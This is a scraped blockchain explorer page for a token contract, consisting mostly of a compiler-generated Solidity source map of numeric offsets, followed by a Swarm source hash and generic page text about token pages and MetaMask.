6131:18;;;:9;:18;;;;;;;6038:119;8443:13;:22;;;;:::i;:::-;8442:37;;8416:130;;;;-1:-1:-1;;;8416:130:0;;9227:2:1;8416:130:0;;;9209:21:1;9266:2;9246:18;;;9239:30;9305:33;9285:18;;;9278:61;9356:18;;8416:130:0;9025:355:1;8416:130:0;-1:-1:-1;;;;;8602:23:0;;8568:12;8602:23;;;:17;:23;;;;;;8583:4;;8602:23;;;:48;;-1:-1:-1;;;;;;8629:21:0;;;;;;:17;:21;;;;;;;;8602:48;:62;;;-1:-1:-1;8655:9:0;;;;;;;8654:10;8602:62;8598:110;;;-1:-1:-1;8691:5:0;8598:110;8718:41;8733:4;8739:2;8743:6;8751:7;8718:14;:41::i;:::-;7777:990;7708:1059;;;:::o;8773:1566::-;8928:10;;-1:-1:-1;;;;;8928:20:0;;;:10;;:20;:31;;;;;8952:7;8928:31;8924:1408;;;8976:14;9005:23;9052:24;9069:6;9052:16;:24::i;:::-;9043:33;-1:-1:-1;9109:15:0;9043:33;9109:6;:15;:::i;:::-;-1:-1:-1;;;;;9161:17:0;;;;;;:9;:17;;;;;;9091:33;;-1:-1:-1;9161:26:0;;9181:6;;9161:26;:::i;:::-;-1:-1:-1;;;;;9141:17:0;;;;;;;:9;:17;;;;;;:46;;;;9225:20;;;;;;;:38;;9248:15;;9225:38;:::i;:::-;-1:-1:-1;;;;;9202:20:0;;;;;;;:9;:20;;;;;;;:61;;;;9283:44;;;;;;;;;;9311:15;1361:25:1;;1349:2;1334:18;;1215:177;9283:44:0;;;;;;;;9344:28;9357:6;9365;9344:12;:28::i;:::-;8961:423;;8924:1408;;;9394:10;;-1:-1:-1;;;;;9394:23:0;;;:10;;:23;:34;;;;;9421:7;9394:34;9390:942;;;9458:14;;9449:6;:23;9445:98;;;9493:34;9509:6;9517:9;9493:15;:34::i;:::-;9557:14;9574:25;9592:6;9574:17;:25::i;:::-;9557:42;-1:-1:-1;9614:23:0;9640:15;9557:42;9640:6;:15;:::i;9390:942::-;9934:14;;10023:15;9934:14;10023:6;:15;:::i;:::-;-1:-1:-1;;;;;10057:25:0;;;;;;:17;:25;;;;;;10005:33;;-1:-1:-1;10057:25:0;;:43;;;;-1:-1:-1;10086:14:0;;;;;;;10057:43;10053:75;;;10102:26;10113:15;10102:26;;:::i;:::-;;;10053:75;-1:-1:-1;;;;;10163:17:0;;;;;;:9;:17;;;;;;:26;;10183:6;;10163:26;:::i;:::-;-1:-1:-1;;;;;10143:17:0;;;;;;;:9;:17;;;;;;:46;;;;10227:20;;;;;;;:38;;10250:15;;10227:38;:::i;:::-;-1:-1:-1;;;;;10204:20:0;;;;;;;:9;:20;;;;;;;:61;;;;10285:35;;;;;;;;;;10313:6;1361:25:1;;1349:2;1334:18;;1215:177;10285:35:0;;;;;;;;9919:413;;8773:1566;;;;:::o;10347:200::-;10465:4;10447:24;;;;:9;:24;;;;;;:35;;10475:6;;10447:35;:::i;:::-;10438:4;10420:24;;;;:9;:24;;;;;;;:62;;;;10500:39;;-1:-1:-1;;;;;10500:39:0;;;;;;;10532:6;1361:25:1;;1349:2;1334:18;;1215:177;10500:39:0;;;;;;;;10347:200;;:::o;10555:729::-;10674:4;10625:28;6131:18;;;:9;:18;;;;;;10735:14;;10711:38;;;;;;;10780:45;;-1:-1:-1;10815:10:0;;-1:-1:-1;;;;;10807:18:0;;;10815:10;;10807:18;;10780:45;:82;;;;-1:-1:-1;10842:20:0;;;;10780:82;:143;;;;-1:-1:-1;;;;;;10881:21:0;;10897:4;10881:21;:41;;;;-1:-1:-1;10912:10:0;;-1:-1:-1;;;;;10906:16:0;;;10912:10;;10906:16;10881:41;10879:44;10780:143;10762:515;;;10950:63;10967:4;10982:13;;;;;;;;;-1:-1:-1;;;;;10982:13:0;10998:14;;10950:8;:63::i;:::-;11063:13;;11079:14;;11030:64;;11063:13;;;-1:-1:-1;;;;;11063:13:0;;11030:24;:64::i;:::-;11135:21;11177:19;;11173:92;;11223:15;;11215:50;;-1:-1:-1;;;;;11223:15:0;;;;11215:50;;;;;11249:15;;11223;11215:50;11223:15;11215:50;11249:15;11223;11215:50;;;;;;;;;;;;;;;;;;;;;11173:92;10935:342;10614:670;;10555:729;;:::o;13707:504::-;13907:16;;;13921:1;13907:16;;;;;;;;13856:13;;13822:20;;13907:16;13921:1;13907:16;;;;;;;;;;-1:-1:-1;13907:16:0;13883:40;;13952:4;13934;13939:1;13934:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;13934:23:0;;;-1:-1:-1;;;;;13934:23:0;;;;;13978:9;-1:-1:-1;;;;;13978:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13968:4;13973:1;13968:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13968:26:0;;;:7;;;;;;;;;:26;14007:60;;;14082:11;14108:1;14124:4;14151;14171:21;:15;14189:3;14171:21;:::i;:::-;14007:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13811:400;;13707:504;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2066:160::-;2131:20;;2187:13;;2180:21;2170:32;;2160:60;;2216:1;2213;2206:12;2160:60;2066:160;;;:::o;2231:315::-;2296:6;2304;2357:2;2345:9;2336:7;2332:23;2328:32;2325:52;;;2373:1;2370;2363:12;2325:52;2412:9;2399:23;2431:31;2456:5;2431:31;:::i;:::-;2481:5;-1:-1:-1;2505:35:1;2536:2;2521:18;;2505:35;:::i;:::-;2495:45;;2231:315;;;;;:::o;2740:247::-;2799:6;2852:2;2840:9;2831:7;2827:23;2823:32;2820:52;;;2868:1;2865;2858:12;2820:52;2907:9;2894:23;2926:31;2951:5;2926:31;:::i;3218:248::-;3286:6;3294;3347:2;3335:9;3326:7;3322:23;3318:32;3315:52;;;3363:1;3360;3353:12;3315:52;-1:-1:-1;;3386:23:1;;;3456:2;3441:18;;;3428:32;;-1:-1:-1;3218:248:1:o;3471:388::-;3539:6;3547;3600:2;3588:9;3579:7;3575:23;3571:32;3568:52;;;3616:1;3613;3606:12;3568:52;3655:9;3642:23;3674:31;3699:5;3674:31;:::i;:::-;3724:5;-1:-1:-1;3781:2:1;3766:18;;3753:32;3794:33;3753:32;3794:33;:::i;:::-;3846:7;3836:17;;;3471:388;;;;;:::o;3864:180::-;3923:6;3976:2;3964:9;3955:7;3951:23;3947:32;3944:52;;;3992:1;3989;3982:12;3944:52;-1:-1:-1;4015:23:1;;3864:180;-1:-1:-1;3864:180:1:o;4049:::-;4105:6;4158:2;4146:9;4137:7;4133:23;4129:32;4126:52;;;4174:1;4171;4164:12;4126:52;4197:26;4213:9;4197:26;:::i;4234:380::-;4313:1;4309:12;;;;4356;;;4377:61;;4431:4;4423:6;4419:17;4409:27;;4377:61;4484:2;4476:6;4473:14;4453:18;4450:38;4447:161;;4530:10;4525:3;4521:20;4518:1;4511:31;4565:4;4562:1;4555:15;4593:4;4590:1;4583:15;4447:161;;4234:380;;;:::o;4619:127::-;4680:10;4675:3;4671:20;4668:1;4661:31;4711:4;4708:1;4701:15;4735:4;4732:1;4725:15;4751:128;4818:9;;;4839:11;;;4836:37;;;4853:18;;:::i;4884:356::-;5086:2;5068:21;;;5105:18;;;5098:30;5164:34;5159:2;5144:18;;5137:62;5231:2;5216:18;;4884:356::o;5245:125::-;5310:9;;;5331:10;;;5328:36;;;5344:18;;:::i;5719:168::-;5792:9;;;5823;;5840:15;;;5834:22;;5820:37;5810:71;;5861:18;;:::i;5892:217::-;5932:1;5958;5948:132;;6002:10;5997:3;5993:20;5990:1;5983:31;6037:4;6034:1;6027:15;6065:4;6062:1;6055:15;5948:132;-1:-1:-1;6094:9:1;;5892:217::o;9517:127::-;9578:10;9573:3;9569:20;9566:1;9559:31;9609:4;9606:1;9599:15;9633:4;9630:1;9623:15;9649:251;9719:6;9772:2;9760:9;9751:7;9747:23;9743:32;9740:52;;;9788:1;9785;9778:12;9740:52;9820:9;9814:16;9839:31;9864:5;9839:31;:::i;9905:980::-;10167:4;10215:3;10204:9;10200:19;10246:6;10235:9;10228:25;10272:2;10310:6;10305:2;10294:9;10290:18;10283:34;10353:3;10348:2;10337:9;10333:18;10326:31;10377:6;10412;10406:13;10443:6;10435;10428:22;10481:3;10470:9;10466:19;10459:26;;10520:2;10512:6;10508:15;10494:29;;10541:1;10551:195;10565:6;10562:1;10559:13;10551:195;;;10630:13;;-1:-1:-1;;;;;10626:39:1;10614:52;;10721:15;;;;10686:12;;;;10662:1;10580:9;10551:195;;;-1:-1:-1;;;;;;;10802:32:1;;;;10797:2;10782:18;;10775:60;-1:-1:-1;;;10866:3:1;10851:19;10844:35;10763:3;9905:980;-1:-1:-1;;;9905:980:1:o
Swarm Source
ipfs://150f8494163c1f9051f8f5412cf7c8a5d23ba1818fd3fddaa27995bd9c3a0d98
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)